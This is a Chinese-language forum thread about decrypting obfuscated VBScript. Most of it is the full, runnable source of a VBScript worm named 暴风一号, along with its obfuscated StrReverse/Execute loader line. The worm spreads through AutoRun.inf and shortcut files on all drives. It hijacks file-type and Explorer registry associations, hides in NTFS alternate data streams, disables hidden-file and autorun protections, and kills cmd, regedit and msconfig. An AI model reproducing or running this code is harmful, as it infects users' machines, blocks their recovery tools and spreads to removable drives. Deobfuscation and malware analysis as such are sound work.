请问解密高手

haizhison

http://bbs.kafan.cn/thread-700262-1-1.html    这种脚本文件的解密应该从哪里着手？

余乐

好变态的东西。。。VBS里只有一行代码是执行的，然后通过这行代码解密其他垃圾代码然后干活。。。BT

haizhison

请问楼上的大牛  哪行是执行的？

余乐

没有带'开头的那行
gcD2b1a1fH6b1A5b1AI4B1A3b1AJ2b1A1b1ak9bB5DA1al50d5B1AdmB10B1A1en=sTrReVerSE("noITCNuF dnE:4B1A=8B1a:TxEN:))5b1a+0B1a(XEH,)5B1a+Ba1ah&(xeh,4b1A(EcalPer=4b1A:31 Ot 0=5B1A RoF:)0b1a,4b1a(8B1A noitcnUF:NOITCNuf DNe:tXEn:7B1a&6B1a=6b1a:FI DNE:)7B1a(EsAcl=7b1a:nEHT )2*DNR(TNI FI:)1,5B1a,4B1A(dim=7B1a:)4B1a(NEL Ot 1=5b1a ROf:)4b1a(6B1A noItcNUF:NOItCNUf dNE:TXen:)7B1a(Rhc&3B1a=3B1A:fI Dne:))1,5b1a,4b1A(diM(csA=7b1a:eSLE:Fi DNE:59*))97-7B1A(SBA\)97-7b1A((-7B1a=7b1A:neht 23<7b1A rO 621>7B1a fI:0b1a+))1,5B1a,4B1a(DIM(Csa=7b1a:NeHT 721<))1,5b1A,4B1A(diM(Csa dNa 13>))1,5b1a,4b1A(dIM(CSA Fi:)4B1a(NEl ot 1 =5B1a RoF:)0b1a,4B1a(3B1a noITcNuf:1B1a ETuceXe:GNIHToN=Ba1A TES:eSOlc.ca1A:2B1A etIrw.ca1A:)2,emAnllUftPirCs.tpirCSW(ElIFtxETNePo.Ba1A=Ca1A tES:POoL:""""=Fa1A:""""=EA1A:FlrcBv&fa1a&2B1A=2B1a:FlrCbv&eA1a&1B1A=1B1a:Fi dne:)))0B1a,))DA1A(esacU(ESrevERRTS(8B1a(ESrEVeRRts(6b1A=FA1a:)06904+00042*Dnr(Tni=0b1a:eSle:)75,)2,0B1a&)84(RHC(thgIR(3B1A&)0B1a,EA1a(3b1a&)93(RHC=fa1a:)1+Dnr*49(Tni=0b1A:)))75-,)2,da1A(THGir(3B1a(TnIC-,)3-)DA1a(nEL,2,da1A(DiM(3B1a=EA1A:neHT ""'""=)1,da1A(TFeL FI:)eNIldAeR.CA1A(mIRt=da1A:MAertsFodnetA.ca1A LItNU oD:)1,emanLLuftpiRcs.tPIRcSW(elIFTxeTnePO.BA1a=ca1a tes:)""tcEjbOmeTsYseLif.gNitPiRCS""(TCejBOeTaerC=BA1A tES:eZIModNAR"):EVAL("E"&"xec"&"UTe(gcd2B1A1Fh6b1A5B1AI4B1A3B1AJ2B1A1b1Ak9Bb5Da1AL50D5B1adMB10b1A1en)")'8B1A=7B1a8B1A+7b1a6B1A(5b1a):4B1a=ChR(3B1A):4b1A=2B1A92EA1A8Be7EC&cHR(59C209Db4B1A):59C209Db4B1a=mID(7b1A,8B1A,7B1A+1):fUncTION 50d5B1ad:50d5B1aD=MId(2b1a1b1A,9bb5Da1A):EnD FuncTiON:2B1a92EA1A8be7eC=50d5b1Ad(CA1A):5B1A=mID(CD2b1a1f):6b1A5b1a&4B1A3B1A=j2b1A1b1aK9bb5da1a:ea1A=DA1amb10B1a1e+5B1A

250662772

还是暴风一号

On Error Resume Next
Dim Fso,WshShell:Set Fso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT"):Set WshShell=CreateObject("wScRipT.SHelL"):Call Main()
Sub Main()
On Error Resume Next:Dim Args, VirusLoad, VirusAss:Set Args=WScript.Arguments:VirusLoad=GetMainVirus(1):VirusAss=GetMainVirus(0):ArgNum=0:Do While ArgNum < Args.Count:Param=Param&" "&Args(ArgNum):ArgNum=ArgNum + 1:Loop
SubParam=LCase(Right(Param, 3))
Select Case SubParam
Case "run"
RunPath=Left(WScript.ScriptFullName, 2):Call Run(RunPath):Call InvadeSystem(VirusLoad,VirusAss):Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case "txt", "log","ini" ,"inf"
RunPath="%SystemRoot%\system32\NOTEPAD.EXE "&Param:Call Run(RunPath):Call InvadeSystem(VirusLoad,VirusAss):Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case "bat", "cmd"
RunPath="CMD /c echo Hi!I'm here!&pause":Call Run(RunPath):Call InvadeSystem(VirusLoad,VirusAss):Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case "reg"
RunPath="regedit.exe "&""""&Trim(Param)&"""":Call Run(RunPath):Call InvadeSystem(VirusLoad,VirusAss):Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case "chm"
RunPath="hh.exe "&""""&Trim(Param)&"""":Call Run(RunPath):Call InvadeSystem(VirusLoad,VirusAss):Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case "hlp"
RunPath="winhlp32.exe "&""""&Trim(Param)&"""":Call Run(RunPath):Call InvadeSystem(VirusLoad,VirusAss):Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case "dir"
RunPath=""""&Left(Trim(Param),Len(Trim(Param))-3)&"""":Call Run(RunPath):Call InvadeSystem(VirusLoad,VirusAss):Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case "oie"
RunPath="""%ProgramFiles%\Internet Explorer\IEXPLORE.EXE""":Call Run(RunPath):Call InvadeSystem(VirusLoad,VirusAss):Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case "omc"
RunPath="explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}":Call Run(RunPath):Call InvadeSystem(VirusLoad,VirusAss):Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case "emc"
RunPath="explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}":Call Run(RunPath):Call InvadeSystem(VirusLoad,VirusAss):Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case Else
If PreDblInstance=True Then
WScript.Quit
End If
Timeout = Datediff("ww", GetInfectedDate, Date) - 12
If Timeout>0 And Month(Date) = Day(Date) Then
       Call VirusAlert()
       Call MakeJoke(CInt(Month(Date)))
End If
Call MonitorSystem()
End Select
End Sub
Sub MonitorSystem()
On Error Resume Next:Dim ProcessNames, ExeFullNames:ProcessNames=Array("cmd.exe","cmd.com","regedit.exe","regedit.scr","regedit.pif","regedit.com","msconfig.exe"):VBSFullNames=Array(GetMainVirus(1)):Do:Call KillProcess(ProcessNames):Call InvadeSystem(GetMainVirus(1),GetMainVirus(0)):Call KeepProcess(VBSFullNames):WScript.Sleep 3000:Loop
End Sub
Sub InvadeSystem(VirusLoadPath,VirusAssPath)
On Error Resume Next:Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version:Load_Value=""""&VirusLoadPath&"""":File_Value="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" %1 %* ":IE_Value="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" OIE ":MyCpt_Value1="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" OMC ":MyCpt_Value2="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" EMC ":HCULoad="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load":HCUVer="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver":HCUDate="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date":VirusCode=GetCode(WScript.ScriptFullName):Version=1:HostSourcePath=Fso.GetSpecialFolder(1)&"\Wscript.exe":HostFilePath=Fso.GetSpecialFolder(0)&"\system\svchost.exe"
For Each Drive In Fso.Drives:If Drive.IsReady and (Drive.DriveType=1 Or Drive.DriveType=2 Or Drive.DriveType=3) Then:DiskVirusName=GetSerialNumber(Drive.DriveLetter)&".vbs":Call CreateAutoRun(Drive.DriveLetter,DiskVirusName):Call InfectRoot(Drive.DriveLetter,DiskVirusName):End If:Next:If FSO.FileExists(VirusAssPath)=False Or FSO.FileExists(VirusLoadPath)=False Or FSO.FileExists(HostFilePath)=False Or GetVersion()< Version Then:If GetFileSystemType(GetSystemDrive())="NTFS" Then:Call CreateFile(VirusCode,VirusAssPath):Call CreateFile(VirusCode,VirusLoadPath):Call CopyFile(HostSourcePath,HostFilePath):Call SetHiddenAttr(HostFilePath):Else:Call CreateFile(VirusCode, VirusAssPath):Call SetHiddenAttr(VirusAssPath):Call CreateFile(VirusCode,VirusLoadPath):Call SetHiddenAttr(VirusLoadPath):Call CopyFile(HostSourcePath, HostFilePath):Call SetHiddenAttr(HostFilePath):End If:End If
If ReadReg(HCULoad)<>Load_Value  Then:Call WriteReg (HCULoad, Load_Value, ""):End If:If GetVersion() < Version Then:Call WriteReg (HCUVer, Version, ""):End If:If GetInfectedDate() = "" Then:Call WriteReg (HCUDate, Date, ""):End If:If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\")<>File_Value Then:Call SetTxtFileAss(VirusAssPath):End If:If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\")<>File_Value Then:Call SetIniFileAss(VirusAssPath):End If:If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\")<>File_Value Then:Call SetInfFileAss(VirusAssPath):End If:If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\")<>File_Value Then:Call SetBatFileAss(VirusAssPath):End If:If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\")<>File_Value Then:Call SetCmdFileAss(VirusAssPath):End If


If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\")<>File_Value Then:Call SetRegFileAss(VirusAssPath):End If:If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\")<>File_Value Then:Call SetchmFileAss(VirusAssPath):End If
If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\")<>File_Value Then:Call SethlpFileAss(VirusAssPath):End If:If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\")<>IE_Value Then:Call SetIEAss(VirusAssPath):End If:If ReadReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\")<>IE_Value Then:Call SetIEAss(VirusAssPath):End If:If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\")<>MyCpt_Value1 Then:Call SetMyComputerAss(VirusAssPath):End If:If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\")<>MyCpt_Value2 Then:Call SetMyComputerAss(VirusAssPath):End If:Call RegSet()
End Sub
Sub CopyFile(source, pathf):On Error Resume Next:If FSO.FileExists(pathf) Then:FSO.DeleteFile pathf , True:End If:FSO.CopyFile source, pathf:End Sub:Sub CreateFile(code, pathf):On Error Resume Next:Dim FileText:If FSO.FileExists(pathf) Then:Set FileText=FSO.OpenTextFile(pathf, 2, False):FileText.Write code:FileText.Close:Else:Set FileText=FSO.OpenTextFile(pathf, 2, True):FileText.Write code:FileText.Close:End If:End Sub
Sub CreateFile(code, pathf)
On Error Resume Next
Dim FileText
If FSO.FileExists(pathf) Then
Set FileText=FSO.OpenTextFile(pathf, 2, False)
FileText.Write code
FileText.Close
Else
Set FileText=FSO.OpenTextFile(pathf, 2, True)
FileText.Write code
FileText.Close
End If
End Sub
Sub RegSet()
On Error Resume Next
Dim RegPath1 , RegPath2, RegPath3, RegPath4
RegPath1="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue"
RegPath2="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
RegPath3="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun"
RegPath4="HKEY_CLASSES_ROOT\lnkfile\IsShortcut"
Call WriteReg (RegPath1, 3, "REG_DWORD")
Call WriteReg (RegPath2, 2, "REG_DWORD")
Call WriteReg (RegPath3, 0, "REG_DWORD")
Call DeleteReg (RegPath4)
End Sub
Sub KillProcess(ProcessNames)
On Error Resume Next:Set WMIService=GetObject("winmgmts:\\.\root\cimv2"):For Each ProcessName in ProcessNames :Set ProcessList=WMIService.execquery(" Select * From win32_process where name ='"&ProcessName&"' "):For Each Process in ProcessList:IntReturn=Process.terminate:If intReturn<>0 Then:WshShell.Run "CMD /c ntsd -c q -p "&Process.Handle, vbHide, False:End If:Next:Next
End Sub
Sub KillImmunity(D):On Error Resume Next:ImmunityFolder=D&":\Autorun.inf":If Fso.FolderExists(ImmunityFolder) Then:WshSHell.Run ("CMD /C CACLS "& """"&ImmunityFolder&"""" &" /t /e /c /g everyone:f"),vbHide,True:WshSHell.Run ("CMD /C RD /S /Q "& ImmunityFolder), vbHide, True:End If:End Sub:Sub KeepProcess(VBSFullNames):On Error Resume Next:For Each VBSFullName in VBSFullNames :If VBSProcessCount(VBSFullName) < 2 then:Run("%SystemRoot%\system\svchost.exe "&VBSFullName):End If:Next:End Sub
Function GetSystemDrive():GetSystemDrive=Left(Fso.GetSpecialFolder(0),2):End Function
Function GetFileSystemType(Drive):Set d=FSO.GetDrive(Drive):GetFileSystemType=d.FileSystem:End Function
Function ReadReg(strkey):Dim tmps:Set tmps=CreateObject("WScript.Shell"):ReadReg=tmps.RegRead(strkey):Set tmps=Nothing:End Function
Sub WriteReg(strkey, Value, vtype):Dim tmps:Set tmps=CreateObject("WScript.Shell"):If vtype="" Then:tmps.RegWrite strkey, Value:Else:tmps.RegWrite strkey, Value, vtype:End If:Set tmps=Nothing:End Sub:Sub DeleteReg(strkey):Dim tmps:Set tmps=CreateObject("WScript.Shell"):tmps.RegDelete strkey:Set tmps=Nothing:End Sub:Sub SetHiddenAttr(path):On Error Resume Next:Dim vf:Set vf=FSO.GetFile(path):Set vf=FSO.GetFolder(path):vf.Attributes=6:End Sub
Sub Run(ExeFullName):On Error Resume Next:Dim WshShell:Set WshShell=WScript.CreateObject("WScript.Shell"):WshShell.Run ExeFullName:Set WshShell=Nothing:End Sub:Sub InfectRoot(D,VirusName):On Error Resume Next:Dim VBSCode:VBSCode=GetCode(WScript.ScriptFullName):VBSPath=D&":\"&VirusName:If FSO.FileExists(VBSPath)=False Then:Call CreateFile(VBSCode, VBSPath):Call SetHiddenAttr(VBSPath):End If:Set Folder=Fso.GetFolder(D&":\"):Set SubFolders=Folder.Subfolders:For Each SubFolder In SubFolders:SetHiddenAttr(SubFolder.Path):LnkPath=D&":\"&SubFolder.Name&".lnk":TargetPath=D&":\"&VirusName:Args=""""&D&":\"&SubFolder.Name& "\Dir""":If Fso.FileExists(LnkPath)=False Or GetTargetPath(LnkPath) <> TargetPath Then:If Fso.FileExists(LnkPath)=True Then:FSO.DeleteFile LnkPath, True:End If:Call CreateShortcut(LnkPath,TargetPath,Args):End If:Next:End Sub
Sub CreateShortcut(LnkPath,TargetPath,Args):Set Shortcut=WshShell.CreateShortcut(LnkPath):with Shortcut:.TargetPath=TargetPath:.Arguments=Args:.WindowStyle=4:.IconLocation="%SystemRoot%\System32\Shell32.dll, 3":.Save:end with:End Sub
Sub CreateAutoRun(D,VirusName):On Error Resume Next:Dim InfPath, VBSPath, VBSCode:InfPath=D&":\AutoRun.inf":VBSPath=D&":\"&VirusName:VBSCode=GetCode(WScript.ScriptFullName):If FSO.FileExists(InfPath)=False Or FSO.FileExists(VBSPath)=False Then:Call CreateFile(VBSCode, VBSPath):Call SetHiddenAttr(VBSPath):StrInf="[AutoRun]"&VBCRLF&"Shellexecute=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open=打开(&O)"&VBCRLF&"shell\open\command=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open\Default=1"& VBCRLF&"shell\explore=资源管理器(&X)"&VBCRLF&"shell\explore\command=WScript.exe "&VirusName&" ""AutoRun""":Call KillImmunity(D):Call CreateFile(StrInf, InfPath):Call SetHiddenAttr(InfPath):End If:End Sub
Sub SetTxtFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetIniFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetInfFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetBatFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetCmdFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SethlpFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetRegFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetchmFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetIEAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OIE "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\", Value, "REG_EXPAND_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetMyComputerAss(sFilePath)
On Error Resume Next
Dim Value1,Value2
Value1="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OMC "
Value2="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" EMC "
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\", "", "REG_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\", Value1, "REG_EXPAND_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\", Value2, "REG_EXPAND_SZ")
End Sub
Function GetSerialNumber(Drv)
On Error Resume Next
Set d=fso.GetDrive(Drv)
GetSerialNumber=d.SerialNumber
GetSerialNumber=Replace(GetSerialNumber,"-","")
End Function
Function GetMainVirus(N)
On Error Resume Next
MainVirusName=GetSerialNumber(GetSystemDrive())&".vbs"
If GetFileSystemType(GetSystemDrive())="NTFS" Then
If N=1 Then
  GetMainVirus=Fso.GetSpecialFolder(N)&"\smss.exe:"&MainVirusName
End If
If N=0 Then
  GetMainVirus=Fso.GetSpecialFolder(N)&"\explorer.exe:"&MainVirusName
End If
Else
  GetMainVirus=Fso.GetSpecialFolder(N)&"\"&MainVirusName
End If
End Function
Function VBSProcessCount(VBSPath)
On Error Resume Next
Dim WMIService, ProcessList, Process
VBSProcessCount=0
Set WMIService=GetObject("winmgmts:\\.\root\cimv2")
Set ProcessList=WMIService.ExecQuery("Select * from Win32_Process Where "&"Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'")
For Each Process in ProcessList
If InStr(Process.CommandLine, VBSPath)>0 Then
VBSProcessCount=VBSProcessCount+1
End If
Next
End Function
Function PreDblInstance()
On Error Resume Next
PreDblInstance=False
If VBSProcessCount(WScript.ScriptFullName)>= 3 Then
PreDblInstance=True
End If
End Function
Function GetTargetPath(LnkPath)
On Error Resume Next
Dim Shortcut
Set Shortcut=WshShell.CreateShortcut(LnkPath)
IgvTargetPath=Shortcut.TargetPath
End Function
Function GetCode(FullPath)
On Error Resume Next
Dim FileText
Set FileText=FSO.OpenTextFile(FullPath, 1)
GetCode=FileText.ReadAll
FileText.Close
End Function
Function GetVersion()
Dim VerInfo
VerInfo="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver"
If ReadReg(VerInfo)="" Then
GetVersion=0
Else
GetVersion=CInt(ReadReg(VerInfo))
End If
End Function
Sub VirusAlert()
On Error Resume Next
Dim HtaPath,HtaCode
HtaPath=Fso.GetSpecialFolder(1)&"\BFAlert.hta"
HtaCode="<HTML><HEAD><TITLE>暴风一号</TITLE>"&VBCRLF&"<HTA:APPLICATION APPLICATIONNAME=""BoyFine V1.0"" SCROLL=""no"" windowstate=""maximize"" border=""none"""&VBCRLF&"SINGLEINSTANCE=""yes"" CAPTION=""no"" contextMenu=""no"" ShowInTaskBar=""no"" selection=""no"">"&VBCRLF&"</HEAD><BODY bgcolor=#000000><DIV align =""center"">"&VBCRLF&"<font style=""font-size:3500%;font-family:Wingdings;color=red"">N</font><BR>"&VBCRLF&"<font style=""font-size:200%;font-family:黑体;color=red"">暴风一号</font>"&VBCRLF&"</DIV></BODY></HTML>"
If FSO.FileExists(HtaPath)=False Then
Call CreateFile(HtaCode, HtaPath)
Call SetHiddenAttr(HtaPath)
End If
Call Run(HtaPath)
End Sub
Function GetInfectedDate()
On Error Resume Next
Dim DateInfo
DateInfo="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date"
If ReadReg(DateInfo)="" Then
GetInfectedDate=""
Else
GetInfectedDate=CDate(ReadReg(DateInfo))
End If
End Function
Sub MakeJoke(Times)
On Error Resume Next
Dim WMP, colCDROMs
Set WMP = CreateObject( "WMPlayer.OCX" )
Set colCDROMs = WMP.cdromCollection
If colCDROMs.Count >0 Then
For i=1 to Times
colCDROMs.Item(0).eject()
WScript.Sleep 3000
colCDROMs.Item(0).eject()
Next
End If
Set WMP = Nothing
End Sub

haizhison

这个我现在也基本懂了   http://bbs.kafan.cn/thread-700483-1-3.html   这里这个好像连个函数也没看到   怎样解出源码？（提供个思路就行）

haizhison

我现在用解密工具解密了一下  还是有一半还是乱码 不知道怎么办   请看附件（后缀改成txt了） down.rar (1.06 KB, 下载次数: 7)

2010-5-15 20:03 上传

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